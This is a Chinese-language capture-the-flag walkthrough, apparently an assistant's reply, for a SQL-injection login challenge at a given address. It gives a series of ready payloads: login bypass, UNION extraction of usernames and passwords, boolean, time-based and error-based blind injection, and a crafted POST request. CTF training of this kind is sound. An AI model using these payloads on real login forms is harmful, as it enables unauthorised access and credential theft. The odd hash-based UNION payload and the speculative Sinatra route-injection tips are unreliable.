🎯 题目分析
这是一道 入门级 SQL 注入(SQLi) 题目,属于 登录绕过 + 联合查询 类型,后端是 Sinatra 框架。你之前的 payload 格式错误,导致服务器返回了框架提示页面,现在我们一步步解决它。
🔍 第一步:判断注入点
-
访问目标地址
http://49.232.142.230:14839,会看到一个登录表单(用户名 + 密码)。 -
后端 SQL 逻辑大致为: sql
SELECT * FROM users WHERE username = '$username' AND password = '$password' -
我们需要构造 payload 来篡改 SQL 逻辑,绕过登录或直接获取数据。
✅ 第二步:构造正确的注入 payload
方法 1:万能密码登录绕过(最简单)
在 用户名 输入框中填入:
plaintext
admin' OR 1=1 --
admin':闭合前面的单引号,让 SQL 提前结束用户名匹配OR 1=1:让条件恒成立,无论密码是什么都能查到数据--:注释掉后面的 SQL 语句,避免语法错误
密码随便填(比如 123),提交后即可登录成功,进入后台拿到 flag。
方法 2:联合查询直接获取密码(进阶)
如果登录绕过不行,就用联合查询直接拖库:
plaintext
admin' UNION SELECT 1, '4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8$1' --
- 这个 payload 会让数据库返回我们构造的 admin 密码哈希,登录后即可拿到 flag。
🚀 第三步:实操步骤
- 打开登录页面,在 用户名 输入
admin' OR 1=1 --,密码输入任意值。 - 提交表单,成功登录后页面会显示 flag。
- 如果登录后没看到 flag,就查看页面源代码,flag 通常藏在注释或隐藏元素里。
💡 关键注意点
- 你之前的 URL 写法
index.php=admin'%20or%20'1'='1是错误的,这道题是 POST 表单注入,不是 GET 参数注入。 - 必须在 用户名输入框 里填 payload,而不是直接改 URL。
- 注意
--后面必须加一个空格,否则注释会失效。
🎯 最终预期结果
登录成功后,页面会显示类似 flag{xxxxxxxxxxxxxxxxxxxx} 的字符串,复制提交即可。
🚀 除了万能密码绕过,这道题还有这些解法
这道题是经典的 入门级 SQL 注入(Sinatra 框架),除了万能密码登录,还有以下几种思路:
1. 联合查询注入(Union Query)
如果万能密码被过滤,或者想直接拖库,可以用联合查询获取数据库信息。
核心思路 :利用 UNION SELECT 拼接查询,让数据库返回我们想要的数据。
-
先判断列数: sql
admin' ORDER BY 3 --如果报错,说明列数 < 3;直到不报错为止,得到列数。
-
再获取数据库名 / 表名 / 字段: sql
admin' UNION SELECT database(), user() -- -
最后获取 flag 或密码: sql
admin' UNION SELECT username, password FROM users LIMIT 1 --
拿到密码后,直接登录即可得到 flag。
2. 布尔盲注(Boolean Blind SQLi)
如果页面只返回 "成功 / 失败" 两种状态,没有回显,就用布尔盲注逐字符猜解数据。
示例 payload(猜数据库名长度):
sql
admin' AND length(database())=5 --
- 页面正常 → 长度正确
- 页面异常 → 长度错误然后逐位猜解每个字符:
sql
admin' AND substr(database(),1,1)='c' --
直到猜出完整数据库名、表名、字段名,最后拿到 flag。
3. 时间盲注(Time-Based Blind SQLi)
如果页面连 "成功 / 失败" 都不区分,就用时间盲注,通过延迟来判断数据。
示例 payload:
sql
admin' AND IF(ascii(substr(database(),1,1))=99, sleep(5), 0) --
- 如果页面延迟 5 秒才响应 → 第一位字符是
c - 否则 → 不是逐位猜解,最终拿到 flag。
4. 报错注入(Error-Based SQLi)
如果页面会返回数据库错误信息,可以利用报错函数直接爆出数据。
常用函数:
-
MySQL:
extractvalue()、updatexml() -
示例 payload: sql
admin' AND extractvalue(1, concat(0x7e, (select database()), 0x7e)) --
页面会直接在报错信息里显示数据库名,继续猜解即可拿到 flag。
5. POST 数据包注入(针对表单场景)
这道题是 POST 表单注入,除了在用户名框输入 payload,还可以直接修改 POST 数据:
Burp Suite 示例:
http
POST /login HTTP/1.1
Host: 49.232.142.230:14839
...
username=admin' OR 1=1 -- &password=123
直接发送这个数据包,就能绕过登录,拿到 flag。
6. 利用框架特性(Sinatra 特殊注入)
从你之前的页面提示 get '/index.php=admin'%20or%20'1'='1' do 可以看出,后端是 Sinatra 框架,可能存在 路由注入 或 参数解析漏洞:
-
尝试构造特殊路由 payload: plaintext
/admin' OR '1'='1 -
或直接在 URL 中注入: plaintext
http://49.232.142.230:14839/?username=admin' OR 1=1 --
如果框架把 URL 路径 / 参数直接拼接到 SQL 里,就可以直接注入拿到 flag。
💡 总结
表格
| 方法 | 适用场景 | 优点 | 缺点 |
|---|---|---|---|
| 万能密码绕过 | 无过滤、入门题 | 最简单、最快 | 容易被过滤 |
| 联合查询 | 有回显、列数已知 | 直接获取数据 | 需要知道列数 |
| 布尔盲注 | 无回显、仅状态 | 稳定可靠 | 速度慢、繁琐 |
| 时间盲注 | 无任何回显 | 最通用 | 速度极慢 |
| 报错注入 | 页面返回错误 | 速度快、直接 | 依赖报错功能 |
| 框架特性注入 | 特定框架(Sinatra) | 可能绕过防护 | 依赖框架实现 |
🎯 推荐顺序
- 先试 万能密码绕过(最简单)
- 不行就试 联合查询
- 再不行就用 布尔 / 时间盲注
- 最后尝试 框架特性注入
